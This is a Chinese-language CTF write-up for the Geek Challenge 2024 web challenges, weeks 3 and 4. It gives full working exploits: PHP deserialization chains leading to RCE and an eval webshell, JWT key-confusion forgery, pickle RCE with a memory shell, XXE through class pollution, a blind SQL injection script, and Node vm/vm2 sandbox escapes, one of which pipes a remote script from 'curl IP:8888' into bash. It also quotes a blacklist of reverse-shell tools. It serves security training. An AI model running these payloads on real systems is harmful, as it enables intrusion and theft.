极客大挑战 web week3&week4
fffffilm 发表于 江西 CTF 232浏览 · 2024-12-03 08:48

week[three]

PHP不比Java差

<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";

class Challenge{
    public $file;
    public function Sink()
    {
        echo "<br>!!!A GREAT STEP!!!<br>";
        echo "Is there any file?<br>";
        if(file_exists($this->file)){
            global $FLAG;
            echo $FLAG;
        }
    }
}

class Geek{
    public $a;
    public $b;
    public function __unserialize(array $data): void
    {
        $change=$_GET["change"];
        $FUNC=$change($data);
        $FUNC();
    }
}

class Syclover{
    public $Where;
    public $IS;
    public $Starven;
    public $Girlfriend;
    public function __toString()
    {
        echo "__toString is called<br>";
        $eee=new $this->Where($this->IS);
        $fff=$this->Starven;
        $eee->$fff($this->Girlfriend);

    }
}
unserialize($_POST['data']);

$flag里面没有flag,不知道出题人设置这个Challenge类干嘛。

入口是__unserialize,然后$data变量的值是由反序列化出来的a,b变量值决定的。再看下面

$FUNC=$change($data);
$FUNC();

将$change($data)的结果作为名字来执行。我们让data数组第一个值为phpinfo,再使用array_shift就可以拿到phpinfo,从而调用phpinfo了。但是没什么用,flag没在环境变量里面。

我们可以让data数组的第一个值也是个数组,数组的键值是对象与函数名,从而调用函数。如下图:


这样就可以调用Syclover的__toString方法了。然后就是一个原生类的利用

$eee=new $this->Where($this->IS);
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);

根据题目名字PHP不比Java差,很容易想到反射,于是搜索得到一篇文章:从一道ctf题看php原生类 | Ethe's blog

利用反射拿到函数,从而rce。然后就是一个file的suid提权了

给出完整exp

<?php
class Geek
{
    public $a;
    public $b;
}

class Syclover
{
    public $Where;
    public $IS;
    public $Starven;
    public $Girlfriend;
}

$a=new Geek();

$eval=new Syclover();
$eval->Where='ReflectionFunction';
$eval->IS='call_user_func';
$eval->Starven = 'invokeArgs';
$eval->Girlfriend = array('system','file -f /flag');

$a->a=array($eval,'__toString');

echo serialize($a);

jwt_pickle

import base64
import hashlib
import random
import string
from flask import Flask,request,render_template,redirect
import jwt
import pickle

app = Flask(__name__,static_folder="static",template_folder="templates")

privateKey=open("./private.pem","rb").read()
publicKey=open("./public.pem","rb").read()
characters = string.ascii_letters + string.digits + string.punctuation
adminPassword = ''.join(random.choice(characters) for i in range(18))
user_list={"admin":adminPassword}

@app.route("/register",methods=["GET","POST"])
def register():
    if request.method=="GET":
        return render_template("register.html")
    elif request.method=="POST":
        username=request.form.get("username")
        password=request.form.get("password")
        if (username==None)|(password==None)|(username in user_list):
            return "error"

        user_list[username]=password
        return "OK"


@app.route("/login",methods=["GET","POST"])
def login():
    if request.method=="GET":
        return render_template("login.html")
    elif request.method=="POST":
        username = request.form.get("username")
        password = request.form.get("password")
        if (username == None) | (password == None):
            return "error"

        if username not in user_list:
            return "please register first"

        if user_list[username] !=password:
            return "your password is not right"

        ss={"username":username,"password":hashlib.md5(password.encode()).hexdigest(),"is_admin":False}
        if username=="admin":
            ss["is_admin"]=True
            ss.update(introduction=base64.b64encode(pickle.dumps("1ou_Kn0w_80w_to_b3c0m3_4dm1n?")).decode())

        token=jwt.encode(ss,privateKey,algorithm='RS256')

        return "OK",200,{"Set-Cookie":"Token="+token.decode()}


@app.route("/admin",methods=["GET"])
def admin():
    token=request.headers.get("Cookie")[6:]
    print(token)
    if token ==None:
        redirect("login")
    try:
        real= jwt.decode(token, publicKey, algorithms=['HS256', 'RS256'])
    except Exception as e:
        print(e)
        return "error"
    username = real["username"]
    password = real["password"]
    is_admin = real["is_admin"]
    if password != hashlib.md5(user_list[username].encode()).hexdigest():
        return "Hacker!"

    if is_admin:
        serial_S = base64.b64decode(real["introduction"])
        introduction=pickle.loads(serial_S)
        return f"Welcome!!!,{username},introduction: {introduction}"
    else:
        return f"{username},you don't have enough permission in here"

@app.route("/",methods=["GET"])
def jump():
    return redirect("login")

if __name__ == "__main__":
    app.run(debug=False,host="0.0.0.0",port=80)

admin路由可以打pickle,但是有jwt验证。

发现签名和解密的算法不一样,可能存在漏洞。

token= jwt.encode(ss,privateKey,algorithm='RS256')
real = jwt.decode(token, publicKey, algorithms=['HS256', 'RS256'])

先尝试使用silentsignal/rsa_sign2n:从消息签名对中派生 RSA 公钥爆破公钥

拿到两个jwt

docker run --rm -it portswigger/sig2n eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImZpbG0iLCJwYXNzd29yZCI6ImJkYmQ2ZGIxZDhjYzA5YTk1N2U4NjE4MGZkYTk0NDJhIiwiaXNfYWRtaW4iOmZhbHNlfQ.iNRbgNMrFMg3NptNTe27fhtSqeI90J_EvWICY-c4TH_qMOO69IMpK4F4xqgPCphL5Tnziqd0AFPPFyyeMQumIgIj01anLnVl-BPx_wKTZAL9JTITfZhwF74J5KX62MNSVtGuo19_yVt06lvqpMlImY4sV7qLN1tJS4DruzeMFxJGwlEQBIUEO2T5B0nj9rTcb-BBTMfYx58NKoVtxph56NUmHI10tEEGmexkLwXb-zFSwfYsTR3g7x2RLMt3IkgUEy-HI5MwoTOPvGx7bI8FqjRs0OZMujQlxrJahqPXiYakNJ9XhQ_2e1tqV786JrV7Lfcho7mFicvW5t81h9eggg eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJwYXNzd29yZCI6IjA5OGY2YmNkNDYyMWQzNzNjYWRlNGU4MzI2MjdiNGY2IiwiaXNfYWRtaW4iOmZhbHNlfQ.JoQAS29u_5BRjSsmCztJMisu0I8e87OpzkUWanifvhGYcxse_hWsOyXAF4C4-mHEPmmZSqhYpXGV4mIxtApkk04knO6fiNC23QrSW6XeACSQ2rD2510zUDeiJxq82VrQgYxfqVS2ig3RFFTGB3k7nE7_xbPYtQSodzw-ubEXNS8ab7Ow4iTVoV2zgCPV85YKb02HByXPsnz576-a1yaFmcbisTaMDujIPzmycAuemoAoWspHdnYZm_NM6ndiEjLUTX8HOglGg4zsPYN6PV9Z_uWlOm9ffwMg6y2TLPJI8UQjlyaQjsmDuHY_k9Kp4lEpB6mgzEqURB7QENBm9VFEDg

发现用伪造之后的jwt能登录,那代表我们的公钥是正确的

然后用这个jwt对应的base64key在jwt.io上进行伪造。(这里说一下,如果出现500代表是pickle的问题,并且此时伪造是成功的。

勾上这个就可以了。


弹个shell拿到flag。

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("cmd",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

py_game

游戏通关后什么都拿不到。


eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4ifQ.Zy1v8A.vUSLJ0v-jq9IpmNFrQ9NZbLTFso

伪造session进去管理员,然后可以下载到一个pyc文件,反编译一下。(这里需要找一个靠谱的反编译方法,要不然可能会漏东西,这里害我检查好久。pyc反编译 - 工具匠

# uncompyle6 version 3.9.2
# Python bytecode version base 3.6 (3379)
# Decompiled from: Python 3.8.10 (default, Sep 11 2024, 16:02:53) 
# [GCC 9.4.0]
# Embedded file name: ./tempdata/1f9adc12-c6f3-4a8a-9054-aa3792d2ac2e.py
# Compiled at: 2024-11-01 17:37:26
# Size of source mod 2**32: 5558 bytes
import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = "a123456"
app.config["xml_data"] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

class User:

    def __init__(self, username, password):
        self.username = username
        self.password = password

    def check(self, data):
        return self.username == data["username"] and self.password == data["password"]


admin = User("admin", "123456j1rrynonono")
Users = [admin]

def update(src, dst):
    for k, v in src.items():
        if hasattr(dst, "__getitem__"):
            if dst.get(k):
                if isinstance(v, dict):
                    update(v, dst.get(k))
            dst[k] = v
        elif hasattr(dst, k) and isinstance(v, dict):
            update(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        for u in Users:
            if u.username == username:
                flash("用户名已存在", "error")
                return redirect(url_for("register"))

        new_user = User(username, password)
        Users.append(new_user)
        flash("注册成功!请登录", "success")
        return redirect(url_for("login"))
    else:
        return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        for u in Users:
            if u.check({'username':username,  'password':password}):
                session["username"] = username
                flash("登录成功", "success")
                return redirect(url_for("dashboard"))

        flash("用户名或密码错误", "error")
        return redirect(url_for("login"))
    else:
        return render_template("login.html")


@app.route("/play", methods=["GET", "POST"])
def play():
    if "username" in session:
        with open("/app/templates/play.html", "r", encoding="utf-8") as file:
            play_html = file.read()
        return play_html
    else:
        flash("请先登录", "error")
        return redirect(url_for("login"))


@app.route("/admin", methods=["GET", "POST"])
def admin():
    if "username" in session:
        if session["username"] == "admin":
            return render_template("admin.html", username=(session["username"]))
    flash("你没有权限访问", "error")
    return redirect(url_for("login"))


@app.route("/downloads321")
def downloads321():
    return send_file("./source/app.pyc", as_attachment=True)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/dashboard")
def dashboard():
    if "username" in session:
        is_admin = session["username"] == "admin"
        if is_admin:
            user_tag = "Admin User"
        else:
            user_tag = "Normal User"
        return render_template("dashboard.html", username=(session["username"]), tag=user_tag, is_admin=is_admin)
    else:
        flash("请先登录", "error")
        return redirect(url_for("login"))


@app.route("/xml_parse")
def xml_parse():
    try:
        xml_bytes = app.config["xml_data"].encode("utf-8")
        parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
        tree = etree.fromstring(xml_bytes, parser=parser)
        result_xml = etree.tostring(tree, pretty_print=True, encoding="utf-8", xml_declaration=True)
        return Response(result_xml, mimetype="application/xml")
    except etree.XMLSyntaxError as e:
        return str(e)


black_list = [
 "__class__".encode(), "__init__".encode(), "__globals__".encode()]

def check(data):
    print(data)
    for i in black_list:
        print(i)
        if i in data:
            print(i)
            return False

    return True


@app.route("/update", methods=["POST"])
def update_route():
    if "username" in session:
        if session["username"] == "admin":
            if request.data:
                try:
                    if not check(request.data):
                        return ('NONONO, Bad Hacker', 403)
                    else:
                        data = json.loads(request.data.decode())
                        print(data)
                        if all("static" not in str(value) and "dtd" not in str(value) and "file" not in str(value) and "environ" not in str(value) for value in data.values()):
                            update(data, User)
                            return (jsonify({"message": "更新成功"}), 200)
                        return ('Invalid character', 400)
                except Exception as e:
                    return (
                     f"Exception: {str(e)}", 500)

        else:
            return ('No data provided', 400)
    else:
        flash("你没有权限访问", "error")
        return redirect(url_for("login"))


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80, debug=False)

很明显,里面有个原型链污染。有个check针对原型链污染。unicode绕过。然后发现有个XML解析的路由,那思路很清晰了,污染app.config['xml_data'],打一下xxe就好了。

对file和dtd进行了过滤,思考ing

session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4ifQ.ZzYTlA.VH553rYhlYVYryaPs7cEhHf4XD0

后面发现直接/flag可以。为什么?

{
    "_\u005finit__": {
        "_\u005fglobals__":{
            "app":{
                "config":{
                    "xml_data":"<?xml version=\"1.0\"?>\n<!DOCTYPE note [\n<!ENTITY fffffilm SYSTEM \"/flag\">\n]>\n\n<user><username>&fffffilm;</username><password>456789</password></user>"
                }
            }
        }
    }
}

funnySQL

先fuzz

过滤了,or,sleep,handler,and,=,ascii,rand,format,%0a,空格

并且是没有回显,那只能时间盲注了。板子是newstar拿的

import requests, string, time

url = 'http://80-f5effa86-1e04-4629-8f6c-103f40750063.challenge.ctfplus.cn/index.php'

result = ''
for i in range(1,100):
    print(f'[+]bruting at {i}')
    #for c in string.ascii_letters + string.digits + '.-{},_':
    for c in string.ascii_lowercase + string.digits + '-{}': #跑flag用
        time.sleep(0.05) # 限制速率,防止请求过快

        print('[+]trying:', c)

        #payload='database()'#sycver
        #payload='@@version'#MariaDB 10.2.26  mysql5.7
        #payload="(select%09group_concat(table_name)%09from%09mysql.innodb_table_stats%09where%09database_name%09like%09'syclover')"#Rea11ys3ccccccr3333t,users
        payload="(select%09group_concat(flag)%09from%09Rea11ys3ccccccr3333t)"#猜测flag在flag列中


        char = f'substr({payload},{i},1)'

        b = f'{char}%09like%09\'{c}\''

        p = f'if({b},BENCHMARK(5000000,md5("1")),0)'
        #print(p)
        url_all = f"{url}?username=1'^{p}%23"

        start_time = time.time()  # 注入前的系统时间
        res = requests.get(url_all)
        print(time.time() - start_time)
        #print(res.url)
        end_time = time.time()  # 注入后的时间
        if end_time - start_time > 0.5:
            print('[*]bingo:', c)
            result += c
            print(result)
            break

可能需要根据自身网络环境调整延时


调整flag格式

SYC{09635712-4529-426a-8070-92ef810d3234}

ez_js

根据提示,用户名是作者,密码是6位数字,尝试过后得到

Starven/123456

输入后拿到部分源码。

const { merge } = require('./utils/common.js');

function handleLogin(req, res) {
    var geeker = new function() {
        this.geekerData = new function() {
            this.username = req.body.username;
            this.password = req.body.password;
        };
    };

    merge(geeker, req.body);

    if (geeker.geekerData.username == 'Starven' && geeker.geekerData.password == '123456') {
        if (geeker.hasFlag) {
            const filePath = path.join(__dirname, 'static', 'direct.html');
            res.sendFile(filePath, (err) => {
                if (err) {
                    console.error(err);
                    res.status(err.status).end();
                }
            });
        } else {
            const filePath = path.join(__dirname, 'static', 'error.html');
            res.sendFile(filePath, (err) => {
                if (err) {
                    console.error(err);
                    res.status(err.status).end();
                }
            });
        }
    } else {
        const filePath = path.join(__dirname, 'static', 'error2.html');
        res.sendFile(filePath, (err) => {
            if (err) {
                console.error(err);
                res.status(err.status).end();
            }
        });
    }
}

function merge(object1, object2) {
    for (let key in object2) {
        if (key in object2 && key in object1) {
            merge(object1[key], object2[key]);
        } else {
            object1[key] = object2[key];
        }
    }
}

module.exports = { merge };

利用proto,污染原型

{"username":"Starven","password":"123456","__proto__":{"hasFlag":true}}


访问flag

过滤了逗号

req.query -----解析----> 数组 ----json.parse--> 对象

利用对同一参数名解析会带上逗号,传数组实现绕过

syc[0]={"username":"Starven"&syc[1]="password":"123456"&syc[2]="hasFlag":true}

不用[0],直接三个syc也行,但这属于http知识,就不讲了。

week[four]

not_just_pop

<?php
highlight_file(__FILE__);
ini_get('open_basedir');

class lhRaMK7{
    public $Do;
    public $You;
    public $love;
    public $web;
    public function __invoke()
    {
        echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
        eval($this->web);
    }
    public function __wakeup()
    {
        $this->web=$this->love;
    }
    public function __destruct()
    {
        die($this->You->execurise=$this->Do);
    }

}

class Parar{
    private $execurise;
    public $lead;
    public $hansome;
    public function __set($name,$value)
    {
        echo $this->lead;
    }
    public function __get($args)
    {
        if(is_readable("/flag")){
            echo file_get_contents("/flag");
        }
        else{
            echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
            if ($this->execurise=="man!") {
                echo "居然没坠机"."<br>";
                if(isset($this->hansome->lover)){
                    phpinfo();
                }
            }
            else{
                echo($this->execurise);
                echo "你也想被肘吗"."<br>";
            }
        }
    }
}

class Starven{
    public $girl;
    public $friend;
    public function __toString()
    {
        return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;
    }
    public function __call($args1,$args2)
    {
        $func=$this->friend;
        $func();
    }

}
class SYC{
    private $lover;
    public  $forever;
    public function __isset($args){
        return $this->forever->nononon();
    }

}


$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {
    unserialize(base64_decode($Syclover));
    throw new Exception("None");
}else{
    echo("怎么不给我呢,是不喜欢吗?");
}

链子有点长,慢慢分析就好了。

先打一下

<?php
class lhRaMK7{
    public $Do;
    public $You;
    public $love;
    public $web;

}

class Parar{

    public $execurise;
    public $lead;
    public $hansome;

}

class Starven{
    public $girl;
    public $friend;

}
class SYC{
    public $lover;
    public  $forever;

}

$a=new lhRaMK7();
$a->web=&$a->You;
$a->love=new Parar();
$a->love->lead=new Starven();
$a->love->lead->girl=new Parar();
$a->love->lead->girl->execurise="man!";
$a->love->lead->girl->hansome=new SYC();
$a->love->lead->girl->hansome->forever=new Starven();
$a->love->lead->girl->hansome->forever->friend=new lhRaMK7();
$a->love->lead->girl->hansome->forever->friend->love='phpinfo();';

$payload=serialize($a);
echo serialize($a);
echo "\n";
$payload=substr($payload, 0, -1);

echo base64_encode($payload);

拿到禁用函数

exec,system,shell_exec,popens,popen,curl_exec,curl_multi_exec,proc_open,proc_get_status,,readfile,unlink,dl,memory_get_usage,dl,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,linkopen_basedir

然后将最后一行改成

$a->love->lead->girl->hansome->forever->friend->love='eval("$_POST[1];");';

利用蚁剑插件绕过。(连接方式为

url地址:http://80-59f856a1-e356-4764-963e-87a8839fcda4.challenge.ctfplus.cn/?Syclover=Tzo3OiJsaFJhTUs3Ijo0OntzOjI6IkRvIjtOO3M6MzoiWW91IjtOO3M6NDoibG92ZSI7Tzo1OiJQYXJhciI6Mzp7czo5OiJleGVjdXJpc2UiO047czo0OiJsZWFkIjtPOjc6IlN0YXJ2ZW4iOjI6e3M6NDoiZ2lybCI7Tzo1OiJQYXJhciI6Mzp7czo5OiJleGVjdXJpc2UiO3M6NDoibWFuISI7czo0OiJsZWFkIjtOO3M6NzoiaGFuc29tZSI7TzozOiJTWUMiOjI6e3M6NToibG92ZXIiO047czo3OiJmb3JldmVyIjtPOjc6IlN0YXJ2ZW4iOjI6e3M6NDoiZ2lybCI7TjtzOjY6ImZyaWVuZCI7Tzo3OiJsaFJhTUs3Ijo0OntzOjI6IkRvIjtOO3M6MzoiWW91IjtOO3M6NDoibG92ZSI7czoxOToiZXZhbCgiJF9QT1NUWzFdOyIpOyI7czozOiJ3ZWIiO047fX19fXM6NjoiZnJpZW5kIjtOO31zOjc6ImhhbnNvbWUiO047fXM6Mzoid2ViIjtSOjM7

连接密码:1

可以sudo提权

ez_python

走正常注册,登录的逻辑,可以拿到部分源码。

import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black

app = Flask(__name__)

#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
    return render_template_string(open('templates/index.html').read())

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        usname = request.form['username']
        passwd = request.form['password']

        if usname and passwd:
            heart_cookie = secrets.token_hex(32)
            response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
            response.set_cookie('heart', heart_cookie)
            return response

    return  render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    heart_cookie = request.cookies.get('heart')
    if not heart_cookie:
        return render_template('warning.html')

    if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
        statement = request.form['statement']

        try:
            heal_state = base64.b64decode(statement)
            print(heal_state)
            for i in black.blacklist:
                if i in heal_state:
                    return render_template('waf.html')
            pickle.loads(heal_state)
            res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
            flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
            os.system("echo " + flag + " > /flag")
            return res
        except Exception as e:
            print( e)
            pass
            return "Error!!!! give you hint: maybe you can view /starven_s3cret"

    return render_template('login.html')

@app.route('/monologue',methods=['GET','POST'])
def joker():
    return render_template('joker.html')

@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
    return send_file(__file__,as_attachment=True)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

黑盒,先FUZZ一下,由于没有好的字典,所以没fuzz,但是从题目的过滤是base64解码之后,进行循环,猜测是关键词检查。后面反弹shell时被过滤了,猜测是过滤了弹shell相关操作。然后利用error_handler打了个内存马。

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

拿到了黑名单。

blacklist = [b'netcat', b'bash', b'var', b'etc', b'socat', b'telnet', b'python', b'perl', b'nc'
 b'before_request',b'after_request',b'teardown_request',b'teardown',b'context_processor',b'template_filter'      ,b'socket',b'sh',b'mkfifo',b'ncat'b'curl',b'wget',b'php',b'ruby',b'lua',b'java',b'cpp',b'gcc',b'g++',b'connect']

读flag。

noSandbox

一开始是个登录,题目说了芒果DB,很容易想到nosql注入。

利用永真式绕过


然后是一个沙箱逃逸,题目给了源码。

//泄露的代码执行和WAF部分代码,不能直接运行

const vm = require('vm');

function waf(code,res) {
    let pattern = /(find|ownKeys|fromCharCode|includes|\'|\"|replace|fork|reverse|fs|process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function|env)/m;
    if (code.match(pattern)) {
        console.log('WAF detected malicious code');
        res.status(403).send('WAF detected malicious code');
        exit();
    }
}


app.post('/execute', upload.none(), (req, res) => {
    let code = req.body.code;
    const token = req.cookies.token;

    if (!token) {
        return res.status(403).send('Missing execution code credentials.');
    }
    if (!jwt.verify(token, JWT_SECRET)) {
        return res.status(403).send('Invalid token provided.');
    }

    console.log(`Received code for execution: ${code}`);

    try {
        waf(code,res);
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);

        let script = new vm.Script(code);
        console.log('Executing code in sandbox context');
        script.runInContext(context);

        console.log(`Code executed successfully. Result: ${sandbox.result || 'No result returned.'}`);
        res.json('Code executed successfully' );
    } catch (err) {
        console.error(`Error executing code: ${err.message}`);
        res.status(400).send(`Error: there's no display back here,may be it executed successfully?`);
    }
});

先把waf关了,测测怎么能逃逸

throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })

成功逃逸。


然后就是怎么绕waf了,let pattern = /(find|ownKeys|fromCharCode|includes|\'|\"|replace|fork|reverse|fs|process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function|env)/m;。关键字过滤,没什么用。

过滤了一些关键字以及'"+\和[]

利用模板字符串绕过,例如:

${`${`functio`}n`} ==  function

改改我们的exp。原来的exp最后一行等价于

// 获取 'child_process' 模块
const obj = p.mainModule.require('child_process');
// 获取 'execSync' 方法的属性描述符
const ex = Object.getOwnPropertyDescriptor(obj, 'execSync');
// 执行 'whoami' 命令并将结果转换为字符串
return ex.value('whoami').toString();

并且这里的execSync不能简单的绕过。有点像NKCTF的沙箱逃逸,但是多过滤了replace等关键字。可以利用反射来实现绕过

throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))();

            const chi = p.mainModule.require(`${`${`child_proces`}s`}`);
            const res = Reflect.get(chi, `${`${`exe`}cSync`}`)(`curl IP:8888/rev.sh | bash`);
            return res.toString();
        }
    })

题目不出网,弹个shell就好了。

escapeSandbox_PLUS

也给了源代码

const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const multer = require('multer');
const { VM } = require('vm2');
const crypto = require('crypto');
const path = require('path');

const app = express();


app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));


app.use(express.static(path.join(__dirname, 'public')));

const sessionSecret = crypto.randomBytes(64).toString('hex');
app.use(session({
    secret: sessionSecret,
    resave: false,
    saveUninitialized: true,
}));


const upload = multer();


app.post('/login', (req, res) => {
    const { username, passwd } = req.body;


    if (username.toLowerCase() !== 'syclover' && username.toUpperCase() === 'SYCLOVER' && passwd === 'J1rrY') {
        req.session.isAuthenticated = true;
        res.json({ message: 'Login successful' });
    } else {
        res.status(401).json({ message: 'Invalid credentials' });
    }
});


const isAuthenticated = (req, res, next) => {
    if (req.session.isAuthenticated) {
        next();
    } else {
        res.status(403).json({ message: 'Not authenticated' });
    }
};


app.post('/execute', isAuthenticated, upload.none(), (req, res) => {
    let code = req.body.code;

    let flag = false;


    for (let i = 0; i < code.length; i++) {
        if (flag || "/(abcdefghijklmnopqrstuvwxyz123456789'\".".split``.some(v => v === code[i])) {
            flag = true;
            code = code.slice(0, i) + "*" + code.slice(i + 1, code.length);
        }
    }

    try {

        const vm = new VM({
            sandbox: {
                require: undefined,
                setTimeout: undefined,
                setInterval: undefined,
                clearTimeout: undefined,
                clearInterval: undefined,
                console: console
            }
        });


        const result = vm.run(code.toString());
        console.log('执行结果:', result);
        res.json({ message: '代码执行成功', result: result });

    } catch (e) {

        console.error('执行错误:', e);
        res.status(500).json({ error: '代码执行出错', details: e.message });
    }
});




app.get('/', (req, res) => {
    res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

process.on('uncaughtException', (err) => {
    console.error('捕获到未处理的异常:', err);

});


process.on('unhandledRejection', (reason, promise) => {
    console.error('捕获到未处理的 Promise 错误:', reason);

});


setTimeout(() => {
    throw new Error("模拟的错误");
}, 1000);


setTimeout(() => {
    Promise.reject(new Error("模拟的 Promise 错误"));
}, 2000);

app.listen(3000, () => {
    console.log('Server is running on port 3000');
});

先利用js的漏洞登录

ſyclover/J1rrY

然后在Security Overview · patriksimek/vm2里面找poc就可以了。

我用的这个,成功写文件。

const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');

obj = {
    [customInspectSymbol]: (depth, opt, inspect) => {
        inspect.constructor('return process')().mainModule.require('child_process').execSync('dir > b.txt');
    },
    valueOf: undefined,
    constructor: undefined,
}

WebAssembly.compileStreaming(obj).catch(()=>{});

有个小过滤,令参数为数组即可绕过。

for (let i = 0; i < code.length; i++) {
        if (flag || "/(abcdefghijklmnopqrstuvwxyz123456789'\".".split``.some(v => v === code[i])) {
            flag = true;
            code = code.slice(0, i) + "*" + code.slice(i + 1, code.length);
        }
    }

题目没有回显。所以考虑弹shell,或者外带。但是题目还给了docker启动环境

FROM node:18-alpine
WORKDIR /app
COPY ./app /app
COPY ./flag /flag
EXPOSE 3000
CMD ["node","/app/app.js"]

发现这个node:18-alpine环境很多命令没有。

直接把命令执行结果写到文件,然后访问得到结果

cat /f* > /app/public/a.txt

0 条评论
某人
表情
可输入 255